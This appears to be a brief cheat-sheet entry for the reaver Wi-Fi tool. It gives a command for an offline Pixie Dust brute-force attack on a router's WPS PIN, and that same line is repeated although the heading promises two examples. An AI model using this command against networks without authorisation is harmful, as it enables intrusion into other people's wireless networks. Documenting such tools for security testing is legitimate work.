2 examples for reaver
# Do a offline brute force attack with pixiewps (mod by t6_x required) reaver -i wlan0mon -b 00:90:4C:C1:AC:21 -K 1
# Do a offline brute force attack with pixiewps (mod by t6_x required) reaver -i wlan0mon -b 00:90:4C:C1:AC:21 -K 1